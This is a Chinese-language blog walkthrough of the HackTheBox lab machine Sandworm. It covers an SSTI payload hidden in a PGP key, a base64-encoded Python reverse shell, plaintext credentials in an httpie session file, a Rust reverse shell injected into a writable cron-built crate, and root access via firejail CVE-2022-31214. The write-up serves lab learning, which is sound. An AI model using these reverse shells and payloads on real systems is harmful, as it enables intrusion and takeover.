HackTheBox - Medium - Linux - Sandworm (我的创作纪念日

Sandworm

Sandworm 是一台中等难度的 Linux 机器,它托管了一个具有“PGP”验证服务的 Web 应用程序,该服务容易受到服务器端模板注入 (SSTI) 的攻击,导致“Firejail”监狱内的远程代码执行 (RCE)。可以在监狱中发现明文凭据,这会导致作为计算机用户之一对计算机进行“SSH”访问。从那里,发现了一个 cronjob,它编译并运行一个“Rust”二进制文件。该程序依赖于一个自定义的外部日志记录箱,用户对该箱具有写入权限,然后使用该箱作为运行 cronjob 的“atlas”用户获取 shell。最后,最近的“Firejail”漏洞(“CVE-2022-31214”)用于创建一个沙盒,攻击者可以在其中运行“su”命令并在目标系统上获取“root”shell。


外部信息收集

端口扫描

循例nmap

file

Web枚举

访问80跳转到ssa.htb

file

我看到网站底部有一个熟悉的flask

file

在contact有一个表单,用于提交pgp加密的消息,它似乎会回复我们,接着看

在/guide是一个pgp加解密器

file

/pgp给了我们public key

file

将公钥保存到本地

将公钥导入

file

再用gpg利用公钥加密我们自定义的消息

file

已经知道是flask了,所以应该考虑ssti,通过decrypt尝试ssti发现不行

file

SSTI

验证签名处,我们可以生成key然后使用公钥解密签名,在生成key的时候嵌入ssti payload

file

然后再使用这个公钥对消息进行签名

file

将公钥导出

file

将公钥和签名提交到网站

它payload成功被执行了

file

hacktricks随便来个ssti payload

{{ cycler.__init__.__globals__.os.popen('id').read() }}

file

来个python3 reverse shell payload,base64一下

file

最终ssti payload

{{ cycler.__init__.__globals__.os.popen('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE4Iiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn | base64 -d | bash').read() }}

file

nc监听,它如期而至

file

但这个shell似乎有点问题,无法回车,我们只需要升级一下这个shell

ctrl + z
stty raw -echo;fg

file

但这个shell是受限制的,能做的事情很有限

本地横向移动 -> silentobserver

在家目录的.config目录下的httpie/里面我们能够找到一个admin.json文件

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat ./admin.json
{
	"__meta__": {
		"about": "HTTPie session file",
		"help": "https://httpie.io/docs#sessions",
		"httpie": "2.6.0"
	},
	"auth": {
		"password": "quietLiketheWind22",
		"type": null,
		"username": "silentobserver"
	},
	"cookies": {
		"session": {
			"expires": null,
			"path": "/",
			"secure": false,
			"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
		}
	},
	"headers": {
		"Accept": "application/json, */*;q=0.5"
	}
}

这组凭据能够直接登录ssh,同时拿到user flag

file

获得不受限制的shell -> atlas

传个pspy过去

file

2023/12/21 08:26:01 CMD: UID=0     PID=3784   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=0     PID=3783   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3786   | /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3787   | /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3788   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/12/21 08:26:01 CMD: UID=1000  PID=3790   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/12/21 08:26:01 CMD: UID=1000  PID=3792   | /usr/bin/cargo run --offline 
2023/12/21 08:26:11 CMD: UID=0     PID=3796   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:26:11 CMD: UID=0     PID=3797   | /bin/rm -r /opt/crates 
2023/12/21 08:26:11 CMD: UID=0     PID=3798   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:26:11 CMD: UID=0     PID=3799   | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet 
2023/12/21 08:28:01 CMD: UID=0     PID=3807   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3806   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3808   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3809   | sleep 10 
2023/12/21 08:28:01 CMD: UID=0     PID=3812   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=0     PID=3810   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=0     PID=3813   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=1000  PID=3814   | rustc -vV 
2023/12/21 08:28:01 CMD: UID=1000  PID=3815   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/12/21 08:28:01 CMD: UID=1000  PID=3817   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/12/21 08:28:02 CMD: UID=1000  PID=3819   | rustc -vV 
2023/12/21 08:28:11 CMD: UID=0     PID=3823   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:28:11 CMD: UID=0     PID=3824   | 
2023/12/21 08:28:11 CMD: UID=0     PID=3825   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:28:11 CMD: UID=0     PID=3826   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:30:01 CMD: UID=0     PID=3833   | /usr/sbin/CRON -f -P 

在/opt下我们可以找到它们

我们无权修改main.rs,但是通过cargo.toml发现它调用的logger模块是在/opt/crates下的

file

lib.rs可写

file

将rust reverse shell payload拿下来改一改

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

fn main() {
	let s = TcpStream::connect("10.0.0.1:4242").unwrap();
	let fd = s.as_raw_fd();
	Command::new("/bin/sh")
		.arg("-i")
		.stdin(unsafe { Stdio::from_raw_fd(fd) })
		.stdout(unsafe { Stdio::from_raw_fd(fd) })
		.stderr(unsafe { Stdio::from_raw_fd(fd) })
		.spawn()
		.unwrap()
		.wait()
		.unwrap();
}

把shellcode改到lib.rs的log函数中,当main那边调用log函数时,我们的nc应该会收到shell

file

file

本地权限提升 - CVE-2022-31214

我们在atlas的不受限制的shell中发现了一个新的组,查找一下有关该组的目录和文件

file

don’t upgrade

升级一下shell

file

但是我发现使用pty之后,shell似乎又变得受限了,所以重新获取了一次shell

可以看到firejail版本是0.9.68,并且还有root的suid

file

file

在谷歌搜索版本相关的漏洞能够找到一篇文章

file

这个cve能够帮助我们利用其来进行权限提升,并且还提供了exp

file

先通过常规操作向atlas用户写入ssh key,然后通过ssh登录,签名的reverse shell先不要关

file

运行exp

file

在另一个atlas的shell下执行firejail --join

file

root flag在老地方

  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Go语言(也称为Golang)是由Google开发的一种静态强类型、编译型的编程语言。它旨在成为一门简单、高效、安全和并发的编程语言,特别适用于构建高性能的服务器和分布式系统。以下是Go语言的一些主要特点和优势: 简洁性:Go语言的语法简单直观,易于学习和使用。它避免了复杂的语法特性,如继承、重载等,转而采用组合和接口来实现代码的复用和扩展。 高性能:Go语言具有出色的性能,可以媲美C和C++。它使用静态类型系统和编译型语言的优势,能够生成高效的机器码。 并发性:Go语言内置了对并发的支持,通过轻量级的goroutine和channel机制,可以轻松实现并发编程。这使得Go语言在构建高性能的服务器和分布式系统时具有天然的优势。 安全性:Go语言具有强大的类型系统和内存管理机制,能够减少运行时错误和内存泄漏等问题。它还支持编译时检查,可以在编译阶段就发现潜在的问题。 标准库:Go语言的标准库非常丰富,包含了大量的实用功能和工具,如网络编程、文件操作、加密解密等。这使得开发者可以更加专注于业务逻辑的实现,而无需花费太多时间在底层功能的实现上。 跨平台:Go语言支持多种操作系统和平台,包括Windows、Linux、macOS等。它使用统一的构建系统(如Go Modules),可以轻松地跨平台编译和运行代码。 开源和社区支持:Go语言是开源的,具有庞大的社区支持和丰富的资源。开发者可以通过社区获取帮助、分享经验和学习资料。 总之,Go语言是一种简单、高效、安全、并发的编程语言,特别适用于构建高性能的服务器和分布式系统。如果你正在寻找一种易于学习和使用的编程语言,并且需要处理大量的并发请求和数据,那么Go语言可能是一个不错的选择。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值